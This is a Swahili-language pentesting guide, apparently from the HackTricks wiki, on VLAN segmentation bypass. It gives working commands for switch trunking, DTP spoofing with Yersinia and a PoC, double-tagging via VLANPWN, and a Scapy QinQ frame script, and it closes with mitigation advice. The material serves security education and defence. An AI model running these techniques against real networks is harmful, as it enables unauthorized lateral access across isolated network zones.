# Lateral VLAN Segmentation Bypass {{#include ../../banners/hacktricks-training.md}} Ikiwa ufikiaji wa moja kwa moja kwa swichi upo, segmentation ya VLAN inaweza kupuuziliwa mbali. Hii inahusisha kubadilisha usanidi wa bandari iliyounganishwa kuwa hali ya trunk, kuanzisha interfaces za virtual kwa VLAN zinazolengwa, na kuweka anwani za IP, ama kwa njia ya kidinamik (DHCP) au kwa njia ya statiki, kulingana na hali (**kwa maelezo zaidi angalia [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)).** Kwanza, utambulisho wa bandari maalum iliyounganishwa unahitajika. Hii kwa kawaida inaweza kufanywa kupitia ujumbe wa CDP, au kwa kutafuta bandari kupitia **include** mask. **Ikiwa CDP haifanyi kazi, utambulisho wa bandari unaweza kujaribiwa kwa kutafuta anwani ya MAC**: ``` SW1(config)# show mac address-table | include 0050.0000.0500 ``` Kabla ya kubadilisha kuwa hali ya trunk, orodha ya VLAN zilizopo inapaswa kuandaliwa, na vitambulisho vyao kubainishwa. Vitambulisho hivi kisha vinapewa kiunganishi, na kuwezesha ufikiaji wa VLAN mbalimbali kupitia trunk. Bandari inayotumika, kwa mfano, inahusishwa na VLAN 10. ``` SW1# show vlan brief ``` **Kuhamia katika hali ya trunk kunahusisha kuingia katika hali ya usanidi wa kiunganishi**: ``` SW1(config)# interface GigabitEthernet 0/2 SW1(config-if)# switchport trunk encapsulation dot1q SW1(config-if)# switchport mode trunk ``` Kuhamisha kwenye hali ya trunk kutasababisha usumbufu wa muda katika muunganisho, lakini hii inaweza kurejeshwa baadaye. Mikondo ya virtual kisha inaundwa, inatolewa vitambulisho vya VLAN, na kuanzishwa: ```bash sudo vconfig add eth0 10 sudo vconfig add eth0 20 sudo vconfig add eth0 50 sudo vconfig add eth0 60 sudo ifconfig eth0.10 up sudo ifconfig eth0.20 up sudo ifconfig eth0.50 up sudo ifconfig eth0.60 up ``` Kisha, ombi la anwani linafanywa kupitia DHCP. Vinginevyo, katika hali ambapo DHCP haiwezekani, anwani zinaweza kuwekwa kwa mikono: ```bash sudo dhclient -v eth0.10 sudo dhclient -v eth0.20 sudo dhclient -v eth0.50 sudo dhclient -v eth0.60 ``` Mfano wa kuweka anwani ya IP ya kudumu kwenye kiunganishi (VLAN 10): ```bash sudo ifconfig eth0.10 10.10.10.66 netmask 255.255.255.0 ``` Connectivity inajaribiwa kwa kuanzisha ombi la ICMP kwa lango la kawaida la VLANs 10, 20, 50, na 60. Hatimaye, mchakato huu unaruhusu kupita kwa segmentation ya VLAN, hivyo kuruhusu ufikiaji usio na kikomo kwa mtandao wowote wa VLAN, na kuweka jukwaa kwa hatua zinazofuata. --- ## Mbinu Nyingine za VLAN-Hopping (hakuna CLI ya swichi yenye mamlaka) Njia ya awali inadhani ufikiaji wa kuthibitishwa wa console au Telnet/SSH kwa swichi. Katika shughuli za ulimwengu halisi, mshambuliaji kwa kawaida anakuwa ameunganishwa kwenye **bandari ya kawaida ya ufikiaji**. Hizi zifuatazo ni hila za Layer-2 ambazo mara nyingi zinakuwezesha kuhamasisha kwa upande bila kuingia kwenye mfumo wa uendeshaji wa swichi: ### 1. Switch-Spoofing na Protokali ya Trunking ya Kijadi (DTP) Swichi za Cisco ambazo zina DTP imewezeshwa zitafurahia kujadili trunk ikiwa mwenza anadai kuwa swichi. Kuunda fremu moja ya **DTP “desirable”** au **“trunk”** kunabadilisha bandari ya ufikiaji kuwa trunk ya 802.1Q inayobeba *VLANs* zote zinazoruhusiwa. *Yersinia* na PoCs kadhaa zinafanya mchakato huo kuwa wa kiotomatiki: ```bash # Become a trunk using Yersinia (GUI) $ sudo yersinia -G # Launch GUI → Launch attack → DTP → enabling trunking # Python PoC (dtp-spoof) $ git clone https://github.com/fleetcaptain/dtp-spoof.git $ sudo python3 dtp-spoof/dtp-spoof.py -i eth0 --desirable ``` Mara tu bandari inapoenda kwenye trunk unaweza kuunda 802.1Q sub-interfaces na pivot kama ilivyoonyeshwa katika sehemu iliyopita. Mifumo ya kisasa ya Linux haitaji tena *vconfig*; badala yake tumia *ip link*: ```bash sudo modprobe 8021q sudo ip link add link eth0 name eth0.30 type vlan id 30 sudo ip addr add 10.10.30.66/24 dev eth0.30 sudo ip link set eth0.30 up ``` ### 2. Double-Tagging (Native-VLAN Abuse) Ikiwa mshambuliaji yuko kwenye **native (untagged) VLAN**, fremu iliyoundwa yenye *michwa miwili* ya 802.1Q inaweza "kuruka" hadi VLAN ya pili hata wakati bandari imefungwa katika hali ya ufikiaji. Zana kama **VLANPWN DoubleTagging.py** (2022-2024 refresh) inafanya kiotomatiki sindikizo: ```bash python3 DoubleTagging.py \ --interface eth0 \ --nativevlan 1 \ --targetvlan 20 \ --victim 10.10.20.24 \ --attacker 10.10.1.54 ``` Packet walk-through: 1. Outer tag (1) inakatwa na swichi ya kwanza kwa sababu inalingana na native VLAN. 2. Inner tag (20) sasa inadhihirika; fremu inasambazwa kwenye trunk kuelekea VLAN 20. Teknolojia hii bado inafanya kazi mwaka 2025 kwenye mitandao ambayo inacha native VLAN kuwa ya kawaida na inakubali fremu zisizo na tag. ### 3. QinQ (802.1ad) Stacking Mifumo mingi ya biashara inasaidia *Q-in-Q* huduma ya mtoa huduma encapsulation. Pale ambapo inaruhusiwa, mshambuliaji anaweza kutengeneza tunnel ya trafiki yoyote iliyo na tag ya 802.1Q ndani ya mtoa huduma (S-tag) ili kuvuka maeneo ya usalama. Capture kwa 802.1ad ethertype 0x88a8 na jaribu kupiga tag ya nje kwa kutumia Scapy: ```python from scapy.all import * outer = 100 # Service tag inner = 30 # Customer / target VLAN payload = Ether(dst="ff:ff:ff:ff:ff:ff")/Dot1Q(vlan=inner)/IP(dst="10.10.30.1")/ICMP() frame = Dot1Q(type=0x88a8, vlan=outer)/payload sendp(frame, iface="eth0") ``` --- ## Mapendekezo ya Kijamii 1. Zima DTP kwenye bandari zote zinazokabiliwa na watumiaji: `switchport mode access` + `switchport nonegotiate`. 2. Badilisha VLAN asilia kwenye kila trunk kuwa **VLAN isiyotumika, black-hole** na uweke alama: `vlan dot1q tag native`. 3. Punguza VLAN zisizohitajika kwenye trunks: `switchport trunk allowed vlan 10,20`. 4. Lazimisha usalama wa bandari, DHCP snooping & ukaguzi wa ARP wa dynamic ili kupunguza shughuli za Layer-2 zisizo za kawaida. 5. Prefer private-VLANs au segmentation ya L3 badala ya kutegemea tu kutenganisha 802.1Q. --- ## Marejeleo - [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9) - VLANPWN attack toolkit – - Twingate "What is VLAN Hopping?" (Aug 2024) – {{#include ../../banners/hacktricks-training.md}}